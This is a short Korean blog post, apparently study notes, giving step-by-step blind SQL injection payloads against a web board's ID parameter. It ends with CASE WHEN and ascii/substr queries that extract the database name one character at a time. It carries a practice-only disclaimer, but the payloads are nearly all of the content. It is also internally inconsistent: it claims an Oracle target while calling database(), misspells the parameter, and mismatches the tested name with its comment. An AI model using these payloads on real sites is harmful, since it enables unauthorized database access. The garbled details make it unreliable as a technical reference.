본문 바로가기

카테고리 없음

[WEB 보안] Blind SQL Injection_case wher then 조건문

반응형

※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.

 

1. DB 환경 : Oracle

2. 목적 : user 이름 및 Database 이름 확인

3. 공격 순서 :

1) 정상 파라미터 값

bordid = no0001

2) 파라미터 값 중간에 연결 연산자 입력 후 응답값 확인

bordid=no0'||'001

3) 응답 값 확인(참, 거짓)

bordid=no0'||0||'001 // 참

bordid=no0'||1||'001 //거짓

4) SELECT 구문 사용 가능 여부 체크

boardid=no0'||select+0||'001 // 참

boardid=no0'||select+1||'001 //거짓

5) 연결 연산자 사이에 SQL 구문 삽입

bordid=no0'||______(SQL 구문)_______||001

(1) (select+database()) //database() 값 보기

(2) (substr((select+database()),1,1) //database() 값 첫글자 한개 요청

(3) (ascii(substr((select+database()),1,1)>100) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 100보다 큰지?( '>'URL 인코딩 : %3e)

(4) (select+case+when(ascii(substr((select+database()),1,1)=114))+then+'0'+else+'1'+end) //database() 값 첫글자 한개 요청 값이 아스키코드 값으로 114인지? 참이면 0 거짓이면 1

(5) (select+case+when(select+database()='ko123a')+then+'0'+else+'1'+end) //database 이름이 ti123b가 맞는지? 참이면 정상 페이지

반응형